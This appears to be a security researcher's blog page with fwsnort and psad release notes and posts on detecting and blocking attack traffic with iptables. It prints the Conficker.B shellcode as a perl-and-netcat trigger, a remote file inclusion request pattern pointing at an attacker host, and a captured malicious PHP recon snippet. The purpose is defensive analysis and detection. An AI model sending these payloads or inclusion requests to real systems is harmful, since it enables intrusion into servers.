cipherdyne.org

Michael Rash, Security Researcher



Intrusion Detection and iptables    [Summary View]

Software Release - psad-2.2.1

psad-2.2.1 released The 2.2.1 release of psad is available for download. This release adds new support for detecting a type of scan that psad has been previously blind to - IP protocol scanning (nmap -sO). Also in this release is the ability to detect Topera IPv6 scans and differentiate them from Nmap IPv6 scans. Other important changes include a new test suite, email throttling, and auto blocking timeouts that can be set for each danger level. Here is the complete ChangeLog:

  • Added IP protocol scan detection (nmap -sO). A new psad.conf variable PROTOCOL_SCAN_THRESHOLD defines the minimum number of different IP protocols (default = 5) that must be scanned before an alert is triggered.
  • Added detection for Topera IPv6 scans when --log-ip-options is used in the ip6tables logging rule. When this option is not used, the previous psad-2.2 release detected Topera scans. An example TCP SYN packet generated by Topera when --log-ip-options is used looks like this (note the series of empty IP options strings "OPT ( )":
    Dec 20 20:10:40 rohan kernel: [  488.495776] DROP IN=eth0 OUT=
    MAC=00:1b:b9:76:9c:e4:00:13:46:3a:41:36:86:dd
    SRC=2012:1234:1234:0000:0000:0000:0000:0001
    DST=2012:1234:1234:0000:0000:0000:0000:0002 LEN=132 TC=0 HOPLIMIT=64
    FLOWLBL=0 OPT ( ) OPT ( ) OPT ( ) OPT ( ) OPT ( ) OPT ( ) OPT ( )
    OPT ( ) OPT ( ) PROTO=TCP SPT=61287 DPT=1 WINDOW=8192 RES=0x00 SYN
    URGP=0
    
  • Bug fix in --Analyze mode when IP fields are to be searched with the --analysis-fields argument (such as --analysis-fields "SRC:1.2.3.4"). The bug was reported by Gregorio Narvaez, and looked like this:
    Use of uninitialized value $_[0] in length at
    ../../blib/lib/NetAddr/IP/UtilPP.pm (autosplit into
    ../../blib/lib/auto/NetAddr/IP/UtilPP/hasbits.al) line 126.
    Use of uninitialized value $_[0] in length at
    ../../blib/lib/NetAddr/IP/UtilPP.pm (autosplit into
    ../../blib/lib/auto/NetAddr/IP/UtilPP/hasbits.al) line 126.
    Bad argument length for NetAddr::IP::UtilPP::hasbits, is 0, should be
    128 at ../../blib/lib/NetAddr/IP/UtilPP.pm (autosplit into
    ../../blib/lib/auto/NetAddr/IP/UtilPP/_deadlen.al) line 122.
    
  • Added --stdin argument to allow psad to collect iptables log data from STDIN in --Analyze mode. This makes it easier to run an iptables logs through psad from arbitrary files like so:
    # grep "IN=.*OUT=" /var/log/kern.log | psad -A --stdin
    
  • Added the ability to acquire Snort rule 'msg' fields from fwsnort if it's also installed. A new variable FWSNORT_RULES_DIR tells psad where to look for the fwsnort rule set. This fixes a problem reported by Pui Edylie to the psad mailing list where fwsnort logged an attack that psad could not map back to a descriptive 'msg' field.
  • Added the ability to set per-danger level timeouts when psad is configured to run in auto-blocking mode. These timeouts are implemented with new AUTO_BLOCK_DL*_TIMEOUT variables - one for each of the five possible danger levels that may be assigned to a scanning IP address.
  • Added the ability to throttle emails generated by psad via a new EMAIL_THROTTLE variable which is implemented as a per-IP threshold. That is, if EMAIL_THROTTLE is set to "10", then psad will only send 1/10th as many emails for each scanning IP as it would have normally.
The complete psad-2.2.1 ChangeLog can also be found here via the psad gitweb interface.

Software Release - fwsnort-1.6.3

fwsnort-1.6.3 released The 1.6.3 release of fwsnort is available for download. This release adds a new test suite in the test/ directory that sends fwsnort through its paces for both iptables and ip6tables firewalls, speeds up iptables/ip6tables capabilities testing, and fixes a few bugs. In addition, one of the more significant changes is to ensure that Snort rules with HOME_NET=any -> EXTERNAL_NET=any are placed into the OUTPUT chain instead of the INPUT chain. This bug was reported by Dwight Davis. I would also like to thank Franck Joncourt for his support on the Debian side. Other changes were contributed by the open source community, and these are acknowledged in the complete fwsnort-1.6.3 ChangeLog below:

  • Bug fix to ensure that !, <, >, and = chars in content strings are converted to the appropriate hex equivalents. All content strings with characters outside of [A-Za-z0-9] are now converted to hex-string format in their entirety. This should also fix an issue that results in the following error when running /var/lib/fwsnort/fwsnort.sh:
        Using intrapositioned negation (`--option ! this`) is deprecated in
        favor of extrapositioned (`! --option this`).  Bad argument `bm'
        Error occurred at line: 64
        Try `iptables-restore -h' or 'iptables-restore --help' for more information.
        Done.
    
  • Bug fix to set default max string length in --no-ipt-test mode where iptables capabilities are not tested.
  • (Andrew Merenbach) Bug fix to properly honor --exclude-regex filtering option.
  • Added fwsnort test suite to the test/ directory. This mimics the test suites from the psad and fwknop projects, and it designed to examine many of the run time results of fwsnort.
  • Added the ability to easily revert the fwsnort policy back to the original iptables policy with "/var/lib/fwsnort/fwsnort.sh -r". Note that this reverts back to the policy as it was when fwsnort itself was executed.
  • Implemented a single unified function for iptables match parameter length testing, and optimized to drastically reduce run time for iptables capabilities checks (going from over 20 seconds to less than one second in some cases).
  • (Dwight Davis) Contributed patches for several bugs including not handling --exclude-regex properly, not ignoring the deleted.rules file, not handling --strict mode operations correctly, and more. These issues and the corresponding patch were originally reported here: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=693000
  • Bug fix for Snort rules with HOME_NET(any) -> EXTERNAL_NET(any) to ensure they go into the OUTPUT chain instead of the INPUT chain. This bug was reported by Dwight Davis.
  • Updated to bundle the latest Emerging Threats rule set.
The complete fwsnort-1.6.3 ChangeLog can also be found here via the fwsnort gitweb interface.

iptables Script Update - Logging and IPv6 Issues

ipv6 traffic vs. iptables Recently, Bobby Krupczak, a reader of "Linux Firewalls" pointed out to me that the iptables script used in the book does not log traffic over the loopback interface, and that such traffic is also blocked because of the INPUT and OUTPUT policies of "DROP" (instead of having a separate DROP rule). This should be made more clear in the book. Quite right - all logging is excluded for traffic that is sent or received over the loopback interface, and the iptables policy also drops loopback traffic because no ACCEPT rule exists. The lack of a logging rule is mostly because logging traffic generated locally and restricted to the loopback interface is usually a distraction from logging more important (and potentially malicious) traffic from remote networks. However, if a local process seems to have connectivity issues, then making sure that loopback traffic flows unimpeded is important. The iptables.sh script has been updated to ACCEPT all loopback traffic handled by the INPUT and OUTPUT chains.

On another note, I would also like to mention that the script has been updated to block IPv6 traffic altogether. With more networks routing IPv6 these days, and with things like Federal mandates for IPv6 compliance on Federal networks, IPv6 adoption is... still slow. However, Linux has had the ability to speak IPv6 for a long time, and Nmap can scan for IPv6-enabled services. Hence it is important to apply iptables controls to IPv6 traffic via ip6tables. The consequences of not doing this could be a system compromise via a service that can communicate over IPv6, but that is normally firewalled off in the IPv4 world.

Here is an example of scanning ::1 on an Ubuntu-9.04 system with Nmap without any ip6tables controls applied. Note that three important services are available over IPv6: [root@isengard ~]# nmap -6 -P0 ::1

Starting Nmap 5.00 ( http://nmap.org ) at 2009-07-28 21:10 EDT
Interesting ports on ip6-localhost (::1):
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 0.11 seconds

With the updated iptables script deployed, Nmap no longer sees these services.

Have you checked the output of ip6tables -v -nL | grep DROP lately on your Linux system? If you are running a different operating system, are you confident that IPv6 traffic is being filtered appropriately? [root@isengard ~]# ip6tables -v -nL | grep DROP
Chain INPUT (policy DROP 0 packets, 0 bytes)
Chain FORWARD (policy DROP 0 packets, 0 bytes)
Chain OUTPUT (policy DROP 0 packets, 0 bytes)

Disrupting Conficker Worm Traffic with iptables and fwsnort

fwsnort vs. Conficker Although the media blitz surrounding the Conficker worm has died down, the worldwide computing infrastructure that the worm has cobbled together still exists and remains under the control of its masters. The resulting botnet is an impressive demonstration of distributed computing control and recoverability. Many organizations - from companies to governments - would be envious of such automation. Most likely the botnet is being used as a money making machine by renting out "botnet time" to criminals who then use it for their own purposes. New Scientist has a good summary of the Conficker saga, and includes a discussion of its switch from HTTP to a peer-to-peer module for communications and updates. Even though Conficker has perhaps not yet been used to issue DoS attacks against high profile sites, it has had measurable impacts such as leaving Manchester unable to issue parking tickets and Microsoft announcing a $250,000 bounty on the Conficker authors. On the defense side, the Conficker Working Group has produced some nice infection distribution maps and Nmap added Conficker scan detection based on an excellent paper written by Tillmann Werner and Felix Leder.

In the context of iptables and fwsnort, the goal is to give Linux systems the ability to detect and interfere network traffic associated with Conficker (at least as much as possible), and this process starts with Snort rules from the Emerging Threats rule set. There are currently six active Snort rules designed to detect Conficker in the Emerging Threats set, and an additional four that have been commented out. The six active rules so far detect the Conficker.A and Conficker.B variants, but hopefully more rules will become available as better detection techniques are developed.

Now, how does fwsnort do with translating the six Emerging Threats rules? Let's find out with the command below. This uses the --include-regex feature to restrict fwsnort to just those rules that contain the string "conficker", and we also add the new --include-perl-trigger argument (to be released in fwsnort-1.0.7) that builds a perl command to mimic the application layer data in each Snort rule. By combining this perl command with netcat, it is possible to test whether the iptables policy built by fwsnort properly detects attacks. Finally, we also use the --ipt-reject argument to have iptables drop any packet that matches the Conficker signatures and reset the connection at the same time: # fwsnort --include-regex conficker --include-re-caseless --snort-rfile /etc/fwsnort/snort_rules/emerging-all.rules --include-perl-triggers --ipt-reject | tail -n 4
[+] Generated iptables rules for 3 out of 6 signatures: 50.00%

[+] Logfile: /var/log/fwsnort.log
[+] iptables script: /etc/fwsnort/fwsnort.sh
Ok, so three out of the six signatures (I'm using 'signature' and 'rule' interchangeably in this blog post) converted properly to iptables rules. Those that did not convert contain elements such as pcre and threshold that are not currently supported by fwsnort.

Below is an example of one Snort signature that did convert correctly. This is rule ID 2009201, and it detects shellcode directed at TCP/445 from Conficker.B: alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"ET CURRENT_EVENTS Conficker.b Shellcode"; flow:established,to_server; content:"|e8 ff ff ff ff c2|_|8d|O|10 80|1|c4|Af|81|9MSu|f5|8|ae c6 9d a0|O|85 ea|O|84 c8|O|84 d8|O|c4|O|9c cc|Ise|c4 c4 c4|,|ed c4 c4 c4 94|&<O8|92|\;|d3|WG|02 c3|,|dc c4 c4 c4 f7 16 96 96|O|08 a2 03 c5 bc ea 95|\;|b3 c0 96 96 95 92 96|\;|f3|\;|24 |i|95 92|QO|8f f8|O|88 cf bc c7 0f f7|2I|d0|w|c7 95 e4|O|d6 c7 17 cb c4 04 cb|{|04 05 04 c3 f6 c6 86|D|fe c4 b1|1|ff 01 b0 c2 82 ff b5 dc b6 1f|O|95 e0 c7 17 cb|s|d0 b6|O|85 d8 c7 07|O|c0|T|c7 07 9a 9d 07 a4|fN|b2 e2|Dh|0c b1 b6 a8 a9 ab aa c4|]|e7 99 1d ac b0 b0 b4 fe eb eb|"; reference:url,www.honeynet.org/node/388; reference:url,doc.emergingthreats.net/2009201; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/CURRENT_EVENTS/CURRENT_Conficker; classtype:trojan-activity; sid:2009201; rev:4;) Here is the equivlent iptables command built by fwsnort and included in the /etc/fwsnort/fwsnort.sh script. Note the usage of the FWSNORT_FORWARD_ESTAB chain which is reserved for packets that are part of established TCP connections: $IPTABLES -A FWSNORT_FORWARD_ESTAB -p tcp --dport 445 -m string --hex-string "|e8ffffffffc2|_|8d|O|1080|1|c4|Af|81|9MSu|f5|8|aec69da0|O|85ea|O|84c8|O|84d8|O|c4|O|9ccc|Ise|c4c4c4|,|edc4c4c494|&<O8|923bd3|WG|02c3|,|dcc4c4c4f7169696|O|08a203c5bcea953bb3c096969592963bf33b24|i|9592|QO|8ff8|O|88cfbcc70ff7|2I|d0|w|c795e4|O|d6c717cbc404cb|{|040504c3f6c686|D|fec4b1|1|ff01b0c282ffb5dcb61f|O|95e0c717cb|s|d0b6|O|85d8c707|O|c0|T|c7079a9d07a4|fN|b2e2|Dh|0cb1b6a8a9abaac4|]|e7991dacb0b0b4feebeb|" --algo bm -m comment --comment "sid:2009201; msg:ET CURRENT_EVENTS Conficker.b Shellcode; classtype:trojan-activity; reference:url,www.honeynet.org/node/388; rev:4; FWS:1.0.6;" -j LOG --log-ip-options --log-tcp-options --log-prefix "[3] DRP SID2009201 ESTAB " Because the pattern in the above signature is longer than 128 bytes, we'll increase the value of the MAX_STRING_LEN variable to 256 in the /etc/fwsnort/fwsnort.conf file. With that done, let's execute the /etc/fwsnort/fwsnort.sh script now and see how iptables handles such traffic on the wire: # /etc/fwsnort/fwsnort.sh
[+] Adding emerging-all rules:
iptables v1.4.1.1: STRING too long `|e8ffffffffc2|_|8d|O|1080|1|c4|Af|81|9MSu|f5|8|aec69da0|O|85ea|O|84c8|O|84d8|O|c4|O|9ccc|Ise|c4c4c4|,|edc4c4c494|&<O8|923bd3|WG|02c3|,|dcc4c4c4f7169696|O|08a203c5bcea953bb3c096969592963bf33b24|i|9592|QO|8ff8|O|88cfbcc70ff7|2I|d0|w|c795e4|O|d6c717cbc404cb|{|040504c3f6c686|D|fec4b1|1|ff01b0c282ffb5dcb61f|O|95e0c717cb|s|d0b6|O|85d8c707|O|c0|T|c7079a9d07a4|fN|b2e2|Dh|0cb1b6a8a9abaac4|]|e7991dacb0b0b4feebeb|' Try `iptables -h' or 'iptables --help' for more information.
Ok, that is disappointing. It turns out that iptables currently enforces a 128-byte maximum on all strings supplied to the string match extension for inspecting payload data. Normally this is not a problem since the individual patterns in most Snort rules are typically less than 128 bytes, but in this case we'd like to work around this limitation. To do so requires that we patch and recompile the xt_string kernel module (assuming xt_string is configured as a module) with the following patch: # git diff
diff --git a/include/linux/netfilter/xt_string.h b/include/linux/netfilter/xt_string.h
index 8a6ba7b..afc60a2 100644
--- a/include/linux/netfilter/xt_string.h
+++ b/include/linux/netfilter/xt_string.h
@@ -1,7 +1,7 @@
#ifndef _XT_STRING_H
#define _XT_STRING_H

-#define XT_STRING_MAX_PATTERN_SIZE 128
+#define XT_STRING_MAX_PATTERN_SIZE 256
#define XT_STRING_MAX_ALGO_NAME_SIZE 16

enum {
@@ -15,7 +15,7 @@ struct xt_string_info
u_int16_t to_offset;
char algo[XT_STRING_MAX_ALGO_NAME_SIZE];
char pattern[XT_STRING_MAX_PATTERN_SIZE];
- u_int8_t patlen;
+ u_int16_t patlen;
union {
struct {
u_int8_t invert;
With the new xt_string module loaded let's execute the fwsnort.sh script once again: # /etc/fwsnort/fwsnort.sh
[+] Adding emerging-all rules:
Rules added: 12
[+] Finished.
Ah, that's better. The fwsnort iptables policy loaded properly in the running kernel. Now, let's use the perl trigger command along with netcat to send data across the wire that should match the signature. The trigger itself can be found in the /etc/fwsnort/fwsnort.sh script. First, we fire up a netcat server on TCP port 445 on a target system which is protected by another system running the fwsnort iptables policy, and then with the perl trigger we send bytes that match the Conficker.B shell code signature across the wire to the target. The complete perl command is listed below even though it certainly is obtuse looking. You can see how the bytes it is printing match the content strings in the original signature: [target]# nc -l -p 445
[attacker]$ perl -e 'print "\xe8\xff\xff\xff\xff\xc2_\x8dO\x10\x801\xc4Af\x819MSu\xf58\xae\xc6\x9d\xa0O\x85\xeaO\x84\xc8O\x84\xd8O\xc4O\x9c\xccIse\xc4\xc4\xc4,\xed\xc4\xc4\xc4\x94&<O8\x92\x3b\xd3WG\x02\xc3,\xdc\xc4\xc4\xc4\xf7\x16\x96\x96O\x08\xa2\x03\xc5\xbc\xea\x95\x3b\xb3\xc0\x96\x96\x95\x92\x96\x3b\xf3\x3b\x24i\x95\x92QO\x8f\xf8O\x88\xcf\xbc\xc7\x0f\xf72I\xd0w\xc7\x95\xe4O\xd6\xc7\x17\xcb\xc4\x04\xcb{\x04\x05\x04\xc3\xf6\xc6\x86D\xfe\xc4\xb11\xff\x01\xb0\xc2\x82\xff\xb5\xdc\xb6\x1fO\x95\xe0\xc7\x17\xcbs\xd0\xb6O\x85\xd8\xc7\x07O\xc0T\xc7\x07\x9a\x9d\x07\xa4fN\xb2\xe2Dh\x0c\xb1\xb6\xa8\xa9\xab\xaa\xc4]\xe7\x99\x1d\xac\xb0\xb0\xb4\xfe\xeb\xeb"' |nc 10.1.1.1 445
The fwsnort iptables policy has reset the connection, and the following iptables log message was also produced: Jul 4 13:23:18 fwsnort kernel: [10966.350782] [2] REJ SID2009201 ESTAB IN=lo OUT= MAC=AB:00:00:AB:00:00:AB:00:00:AB:00:00:08:00 SRC=192.168.10.1 DST=10.1.1.1 LEN=244 TOS=0x00 PREC=0x00 TTL=64 ID=5976 DF PROTO=TCP SPT=49053 DPT=445 WINDOW=513 RES=0x00 ACK PSH URGP=0 OPT (0101080A0028B05B0028B058) Of course, the best defense against Conficker is to patch Windows systems against the MS08-067 vulnerability, and to use Nmap to scan for systems that are already infected. Those that are should be completely reimaged.

Software Release - fwsnort-1.0.6

software release fwsnort-1.0.6 The 1.0.6 release of fwsnort is ready for download. This release fixes a bug that caused some Snort rules to not be translated into iptables rules due to improper handling of escaped semicolons. Now that this bug has been fixed, an additional 58 rules from the Emerging Threats rule set are now properly supported. Also made it easier to point fwsnort at a single file with a Snort rule set to be converted (see the --fwsnort-rfile command line argument).

Here is the complete ChangeLog:

  • (Franck Joncourt) Updated fwsnort to use the "! <option> <arg> syntax instead of the older "<option> ! <arg> for the iptables command line.
  • (Franck Joncourt) For the --hex-string and --string matches, if the argument exceeds 128 bytes (iptables 1.4.2) then iptables fails with an error "iptables v1.4.2: STRING too long". Fixes this with a patch that adds a new variable in fwsnort.conf "MAX_STRING_LEN", so that the size of the content can be limited. If the content (null terminated string) is more than MAX_STRING_LEN chars, fwsnort throws the rule away.
  • Bug fix to allow fwsnort to properly translate snort rules that have "content" fields with embedded escaped semicolons (e.g. "\;"). This allows fwsnort to translate about 58 additional rules from the Emerging Threats rule set.
  • Bug fix to allow case insensitive matches to work properly with the --include-re-caseless and --exclude-re-caseless arguments.
  • Bug fix to move the 'rawbytes' keyword to the list of keywords that are ignored since iptables does a raw match anyway as it doesn't run any preprocessors in the Snort sense.
  • Added the --snort-rfile argument so that a specific Snort rules file (or list of files separated by commas) is parsed.
  • Added a small hack to choose the first port from a port list until the iptables 'multiport' match is supported.
  • Updated to consolidate spaces in hex matches in the fwsnort.sh script since the spaces are not part of patterns to be searched anyway.
  • Updated to the latest complete rule set from Emerging Threats (see http://www.emergingthreats.net/).
  • Added the "fwsnort-nobuildreqs.spec" file for building fwsnort on systems (such as Debian) that do not install/upgrade software via RPM. This file omits the "BuildRequires: perl-ExtUtils-MakeMaker" directive, and this fixes errors like the following on an Ubuntu system when building fwsnort with rpmbuild: rpm: To install rpm packages on Debian systems, use alien. See README.Debian.
    error: cannot open Packages index using db3 - No such file or directory (2)
    error: cannot open Packages database in /var/lib/rpm

Handling Escaped Semicolons in Snort Rules with fwsnort

fwsnort and escaped semicolons in Snort rules Recently I ran into a situation in which several Snort rules from the Emerging Threats rule sets were not being properly translated into iptables rules by fwsnort. It turned out that fwsnort did not correctly parse Snort content fields that contained escaped semicolons (e.g. "\;"). In the Snort signature language, the argument to every keyword in the body of a Snort rule such as content, pcre, and flowbits is terminated with a semicolon, and some keywords also use opening and closing double quotes. But, Snort supports escaping with a backslash so that these characters can easily be made to be part of a keyword argument as opposed to the delimiting syntax. Snort does not allow the argument of a content keyword to contain an embedded semicolon that is not escaped (e.g. content:"distloc=;";), and will generate an error similar to the following if a rule does not conform to this: Initializing rule chains...
ERROR: /etc/snort/rules/web-cgi.rules(3) =& Content data needs to be enclosed in quotation marks (")!
Fatal Error, Quitting..
In this case, we change content:"distloc=;"; to content:"distloc=\;"; and the error goes away. However, in addition to the escaping mechanism, any double quote or semicolon that is part of a content field can just be specified in hex notation between pipe "|" characters instead.

So, what are the tradeoffs in using one convention vs. the other?

Using backslashes can complicate the way an argument looks (since backslashes are not part of the content that is actually searched for in network traffic), but they can also make the argument more intuitive to look at than the hex syntax. This can be important when looking at lots of packet traces. For example, in web traffic the semicolon is used in HTTP request headers as a separator and therefore has special significance in HTTP, and the semicolon is also a separator for multiple commands launched from a command shell. So, for those that don't automatically know the hex equivalent of a semicolon (0x3b), it might be better to look at content:"distloc=\;"; instead of content:"distloc=|3B|"; when interpreting signature matches against raw packet traces since it emphasizes the importance of the semicolon.

There are important examples of Snort rule sets that use each strategy for the arguments to content fields (escaped semicolons vs. the hex equivalent). The complete Emerging Threats rule set contains 58 signatures with escaped semicolons: $ perl -lwne 'while (/content:"(.*?)"/g) { $tmp = $1; if ($tmp =~ /\x3b/) { print $tmp; }} ' emerging-all.rules |wc -l
58
Note that the 'while (/content:"(.*?)"/g)' loop is necessary above in order to parse all content fields from each Snort rule - using something like 'if (/content:"(.*?)"/' would just parse the very first content field in each Snort rule. Here is an example content field from the "ET MALWARE Vaccine-program.co.kr Related Spyware Checkin" signature: |0d 0a|User-Agent\: Mozilla/3.0 (compatible\; Indy Library)|0d 0a| By contrast, I've seen a few Sourcefire VRT rule sets, and none of them appear to use escaped semicolons in any of their signatures. They always prefer to use the "|3B|" hex notation.

Now, why is this important for fwsnort? The reason is that the current version - fwsnort-1.0.5 - does not properly parse content fields with escaped semicolons. However, this will be corrected in the upcoming fwsnort-1.0.6 release, which will be completed within the next two days or so. In the meantime, here is a link to fwsnort-1.0.6-pre4 that corrects this issue.

ISSA Journal's Toolsmith on fwsnort and iptables IDS

ISSA Toolsmith on fwsnort Russ McRee of holisticinfosec.org has written the October Toolsmith issue from the ISSA Journal about fwsnort and intrusion detection. Russ emphasizes practical usages of fwsnort with tuning the Snort signature set it translates into an iptables policy, and after using fwsnort to build a detection policy, he sends several example attacks at a webserver. These attacks include directory traversal, XSS, and CSRF attacks, and he illustrates how the attacks are detected by fwsnort via the iptables log messages it generates. Here is an attack identified as ET WEB-MISC Poison Null Byte by Snort rule ID 2003099, and below is the log message generated by fwsnort when the attack is sent against a webserver: alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET WEB-MISC Poison Null Byte"; flow:established,to_server; uricontent:"|00|"; depth:400; reference:cve,2006-4542; reference:cve,2006-4458; reference:cve,2006-3602; reference:url,www.security-assessment.com/Whitepapers/0x00_vs_ASP_File_Uploads.pdf; classtype: web-application-activity; sid:2003099; rev:3;)

Sep 4 16:59:45 holisticinfosec01 kernel: [29567.666562] [234] SID2003099 ESTAB IN=eth0 OUT= MAC=00:0c:6e:3c:b4:71:00:13:e8:e8:81:37:08:00 SRC=192.168.248.101 DST=192.168.248.104 LEN=40 TOS=0x00 PREC=0x00 TTL=128 ID=24638 DF PROTO=TCP SPT=7987 DPT=80 WINDOW=16126 RES=0x00 ACK URGP=0
Note the iptables log prefix "[234] SID2003099 ESTAB" above. This indicates that rule number 234 (from the custom FWSNORT_INPUT_ESTAB chain in this case which is jumped to from the built-in INPUT chain) matched traffic described by Snort rule ID 234, and that the match took place in an ESTABLISHED TCP connection. By using the iptables state tracking extensions, fwsnort matches up TCP connection states to packets on the wire in order to emulate the Snort flow keyword - at least to the extent that bi-directional communication is required before an event is generated.

Russ also mentions the fwsnort --ipt-drop and --ipt-reject command line arguments that change the stance of fwsnort from a detection engine to a mechanism that can drop malicious packets before forwarding them to their intended target. Given that iptables is firewall, it runs inline to network traffic by definition, and therefore is in ideal position to respond in this way.

Analyzing and Preventing s_loadenv DOCUMENT_ROOT Attacks

NIST vulnerability database Over the past month, in my web logs for cipherdyne.{com,org} there have been suspicious web requests against the file s_loadenv.inc.php even though this file does not exist on cipherdyne.{com,org}. These web requests attempt to force the webserver to execute a malicious PHP script via a web link provided in the DOCUMENT_ROOT form parameter. The requests basically look like the following (shown here as strings split across the perl '.' operator so that browsing this page does not set off any IDS alarm bells): 'GET ' . '/some/path/s_loadenv.inc.php?DOCUMENT' . '_ROOT' . '=http' . '://badsite.com/some/evil/phptext??'. Fortunately, I don't run any PHP code at all even though my site has a WordPress theme - it's just plain HTML that is updated by a set of custom perl scripts when I make new blog postings or new software releases. So, my site is not vulnerable to attacks against unsafe DOCUMENT_ROOT handling, and we can concentrate on analyzing the exploit attempts to get more information.

First things first - a check of the NIST vulnerability database (NVD) does not turn up any CVE reference related to a PHP script named s_loadenv.inc.php, and even a Google code search for this file also leaves us empty handed. There have been vulnerabilities related to DOCUMENT_ROOT handling before (search the NVD for "DOCUMENT_ROOT"), but none of the descriptions appear to match the web requests I'm seeing. So, whatever software is potentially vulnerable to this attack, either it is probably not well known, or a CVE ID hasn't been created yet. Some site administrators seem to post their web logs on the Internet for all to see, and based on a Google search, my guess is that the exploit targets a piece of Russian CMS software that I won't name, but I did attempt to contact the vendor to notify them of the problem just in case they don't already know about it - they never responded. The attack is fairly widespread though - I have over 1500 such requests in my web logs in the past month - and given the fact that most of the requests concentrate on a specific area of my website, I would guess that this attack has been included within an automated attack (more on this below).

Now, let's get a bit more sophisticated. The web requests advertise the links to download exploit code, so I wrote a script (which you can download) called s_loadenv_recon.pl to parse the web requests and download the malicious software pointed to by the DOCUMENT_ROOT links. Typical usage is to search through the Apache access_log file for web requests that match the strings s_loadenv.inc.php, DOCUMENT_ROOT, and http:, and send these logs through the script like so: $ grep "s_loadenv.inc.php" /var/www/logs/access_log | grep "DOCUMENT_ROOT" | grep "http:" | ./s_loadenv_recon.pl
[+] 202.181.210.195
/fwknop/docs/SPA.html//s_loadenv.inc.php
http://www.ganzkoerperpflege.at/files/oye.txt?? (1)
--11:40:29-- http://www.ganzkoerperpflege.at/files/oye.txt??
=> `oye.txt??'
Resolving www.ganzkoerperpflege.at... 69.89.25.184
Connecting to www.ganzkoerperpflege.at|69.89.25.184|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 882 [text/plain]

0% [ ] 0 --.--K/s
100%[===========================================>] 882 --.--K/s

11:40:29 (115.56 MB/s) - `oye.txt??' saved [882/882]
The s_loadenv_recon.pl script uses wget to grab each of the exploit code links, and stores them in the local directory s_loadenv_recon/ according to the IP of the original web request (with the IP used as a new directory where the data is stored). After letting this script run, I have a total of 352 files to examine that were requested by 144 unique IP addresses. By using the GeoIP database via the geoiplookup tool, these IP addresses represent the following countries: $ cd s_loadenv_recon/
$ for f in *; do geoiplookup $f; done |sort |uniq |perl -p -i -e 's|^.*?:\s||'
AT, Austria
AU, Australia
BE, Belgium
BG, Bulgaria
BR, Brazil
CA, Canada
CH, Switzerland
CL, Chile
CN, China
CO, Colombia
CZ, Czech Republic
DE, Germany
DK, Denmark
ES, Spain
FR, France
GB, United Kingdom
HK, Hong Kong
HU, Hungary
IT, Italy
JP, Japan
KR, Korea, Republic of
KZ, Kazakhstan
MO, Macau
--, N/A
NL, Netherlands
PL, Poland
PT, Portugal
RU, Russian Federation
TH, Thailand
TR, Turkey
TW, Taiwan
UA, Ukraine
US, United States
VN, Vietnam
Now, for the exploit code files, most are not very interesting and just instruct the server to reveal detailed config or status information. For example, here is a snippet from a file named icon.jpg that really contains PHP code: echo "bsdcr3w";
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;
echo "We was here ... and u no !!!<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "uptime: $up<br>";
echo "id: $id1<br>";
echo "pwd: $pwd1<br>";
echo "php: $php1<br>";
echo "software: $sof1<br>";
echo "server-name: $name1<br>";
echo "server-ip: $ip1<br>";
However, one file downloaded by the s_loadenv_recon.pl script contains some much more interesting code with support for logging into an IRC channel, sending email, conducting port scans, issuing TCP and UDP floods, and spawning connect-back shells. This code is associated with the pBot trojan, and is detected by Snort rule ID 2003208 in the Emerging Threats rule set. (I'm not going to post the pBot code here - email me privately if you have a security research interest in it.) Rule 2003208 checks for IRC communications associated with the pBot trojan, so it will not detect the web requests against the s_loadenv.inc.php script mentioned earlier. In terms of the attack, what has probably happened is that exploits for PHP vulnerabilities can sometimes interchanged, and one of the malicious web requests linked to exploit code for the pBot trojan after it was discovered that the Russian CMS software is vulnerable. The vast majority of the web requests linked to PHP code that is not associated with pBot.

In addition to analyzing the malicious s_loadenv.inc.php web requests, this blog post is also about preventing them even if they link to relatively benign PHP code, so let's first write a basic Snort rule to detect matching requests. Then we'll use fwsnort to translate this rule into an iptables rule that uses the DROP target to prevent any web requests that match the rule from reaching the targeted webserver. # cd /etc/fwsnort/snort_rules/
# cat > s_loadenv.rules
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"s_loadenv.inc.php DOCUMENT_ROOT attempt"; flow:established,to_server; uricontent:"/s_loadenv.inc.php?"; uricontent:"DOCUMENT_ROOT="; uricontent:"http://" classtype:web-application-attack; reference:url,www.cipherdyne.org/blog/2008/09/01.html; sid:20080001; rev:1;)
# fwsnort --include-type s_loadenv --ipt-drop > /dev/null
# /etc/fwsnort/fwsnort.sh
[+] Adding s_loadenv rules.
Rules added: 4
[+] Finished.
With the above commands executed, the FORWARD chain now contains the following two rules that LOG and DROP packets in established TCP connections with port 80 that match the strings described in rule 20080001 above. In closing, these rules are shown below. $IPTABLES -A FWSNORT_FORWARD_ESTAB -p tcp --dport 80 -m string --string "/s_loadenv.inc.php?" --algo bm -m string --string "DOCUMENT_ROOT=" --algo bm -m string --string "http://" --algo bm -m comment --comment "sid:20080001; msg:s_loadenv.inc.php DOCUMENT_ROOT attempt; classtype:web-application-attack; reference:url,www.cipherdyne.org/blog/2008/09/01.html; rev:1; FWS:1.0.5;" -j LOG --log-ip-options --log-tcp-options --log-prefix "[1] DRP SID20080001 ESTAB "
$IPTABLES -A FWSNORT_FORWARD_ESTAB -p tcp --dport 80 -m string --string "/s_loadenv.inc.php?" --algo bm -m string --string "DOCUMENT_ROOT=" --algo bm -m string --string "http://" --algo bm -j DROP
If you have any additional insight regarding the suspicious requests against the s_loadenv.inc.php script, please email me.

NAT and Checking for DNS Cache Poisoning Exploitability

